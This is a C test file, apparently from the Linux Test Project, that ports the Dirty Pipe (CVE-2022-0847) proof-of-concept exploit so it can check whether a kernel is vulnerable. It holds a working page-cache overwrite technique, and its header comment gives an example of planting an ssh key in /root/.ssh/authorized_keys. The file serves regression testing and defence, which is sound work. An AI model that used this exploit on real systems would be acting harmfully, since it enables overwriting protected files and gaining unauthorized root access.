1// SPDX-License-Identifier: GPL-2.0 2/* 3 * Copyright 2022 CM4all GmbH / IONOS SE 4 * 5 * Author: Max Kellermann <max.kellermann@ionos.com> 6 * 7 * Ported into LTP by Yang Xu <xuyang2018.jy@fujitsu.com> 8 */ 9 10/*\ 11 * [Description] 12 * 13 * Proof-of-concept exploit for the Dirty Pipe 14 * vulnerability (CVE-2022-0847) caused by an uninitialized 15 * "pipe_buffer.flags" variable. It demonstrates how to overwrite any 16 * file contents in the page cache, even if the file is not permitted 17 * to be written, immutable or on a read-only mount. 18 * 19 * This exploit requires Linux 5.8 or later; the code path was made 20 * reachable by commit f6dd975583bd ("pipe: merge 21 * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was 22 * there before, it just provided an easy way to exploit it. 23 * 24 * There are two major limitations of this exploit: the offset cannot 25 * be on a page boundary (it needs to write one byte before the offset 26 * to add a reference to this page to the pipe), and the write cannot 27 * cross a page boundary. 28 * 29 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n' 30 * 31 * Further explanation: https://dirtypipe.cm4all.com/ 32 */ 33 34#ifndef _GNU_SOURCE 35#define _GNU_SOURCE 36#endif 37#include <unistd.h> 38#include <fcntl.h> 39#include <stdio.h> 40#include <stdlib.h> 41#include <string.h> 42#include <sys/stat.h> 43#include <sys/user.h> 44#include "tst_test.h" 45 46#define TEXT "AAAAAAAABBBBBBBB" 47#define TESTFILE "testfile" 48#define CHUNK 64 49#define BUFSIZE 4096 50 51static int p[2] = {-1, -1}, fd = -1; 52static char *pattern_buf, *read_buf; 53 54static void check_file_contents(void) 55{ 56 SAFE_LSEEK(fd, 0, SEEK_SET); 57 SAFE_READ(1, fd, read_buf, 4096); 58 59 if (memcmp(pattern_buf, read_buf, 4096) != 0) 60 tst_res(TFAIL, "read buf data mismatch, bug exists"); 61 else 62 tst_res(TPASS, "read buff data match, bug doesn't exist"); 63} 64 65/* 66 * Create a pipe where all "bufs" on the pipe_inode_info ring have the 67 * PIPE_BUF_FLAG_CAN_MERGE flag set. 68 */ 69static void prepare_pipe(void) 70{ 71 unsigned int pipe_size, total, n, len; 72 char buffer[BUFSIZE]; 73 74 SAFE_PIPE(p); 75 pipe_size = SAFE_FCNTL(p[1], F_GETPIPE_SZ); 76 77 /* 78 * fill the pipe completely; each pipe_buffer will now have the 79 * PIPE_BUF_FLAG_CAN_MERGE flag 80 */ 81 for (total = pipe_size; total > 0;) { 82 n = total > sizeof(buffer) ? sizeof(buffer) : total; 83 len = SAFE_WRITE(SAFE_WRITE_ALL, p[1], buffer, n); 84 total -= len; 85 } 86 87 /* 88 * drain the pipe, freeing all pipe_buffer instances (but leaving the 89 * flags initialized) 90 */ 91 for (total = pipe_size; total > 0;) { 92 n = total > sizeof(buffer) ? sizeof(buffer) : total; 93 len = SAFE_READ(1, p[0], buffer, n); 94 total -= len; 95 } 96 97 /* 98 * the pipe is now empty, and if somebody adds a new pipe_buffer 99 * without initializing its "flags", the buffer wiill be mergeable 100 */ 101} 102 103static void run(void) 104{ 105 int data_size, len; 106 ssize_t nbytes; 107 108 data_size = strlen(TEXT); 109 110 fd = SAFE_OPEN(TESTFILE, O_RDONLY); 111 112 prepare_pipe(); 113 114 /* 115 * splice one byte from the start into the pipe; 116 * this will add a reference to the page cache, but since 117 * copy_page_to_iter_pipe() does not initialize the "flags", 118 * PIPE_BUF_FLAG_CAN_MERGE is still set 119 */ 120 nbytes = splice(fd, NULL, p[1], NULL, 1, 0); 121 if (nbytes < 0) 122 tst_brk(TFAIL, "splice failed"); 123 if (nbytes == 0) 124 tst_brk(TFAIL, "short splice"); 125 126 /* 127 * the following write will not create a new pipe_buffer, but 128 * will instead write into the page cache, because of the 129 * PIPE_BUF_FLAG_CAN_MERGE flag 130 */ 131 len = SAFE_WRITE(SAFE_WRITE_ALL, p[1], TEXT, data_size); 132 if (len < nbytes) 133 tst_brk(TFAIL, "short write"); 134 135 check_file_contents(); 136 SAFE_CLOSE(p[0]); 137 SAFE_CLOSE(p[1]); 138 SAFE_CLOSE(fd); 139} 140 141static void setup(void) 142{ 143 memset(pattern_buf, 0xff, BUFSIZE); 144 tst_fill_file(TESTFILE, 0xff, CHUNK, BUFSIZE / CHUNK); 145} 146 147static void cleanup(void) 148{ 149 if (p[0] > -1) 150 SAFE_CLOSE(p[0]); 151 if (p[1] > -1) 152 SAFE_CLOSE(p[1]); 153 if (fd > -1) 154 SAFE_CLOSE(fd); 155} 156 157static struct tst_test test = { 158 .setup = setup, 159 .cleanup = cleanup, 160 .test_all = run, 161 .needs_tmpdir = 1, 162 .bufs = (struct tst_buffers []) { 163 {&pattern_buf, .size = 4096}, 164 {&read_buf, .size = 4096}, 165 {}, 166 }, 167 .tags = (const struct tst_tag[]) { 168 {"linux-git", "9d2231c5d74e"}, 169 {"CVE", "CVE-2022-0847"}, 170 {}, 171 } 172}; 173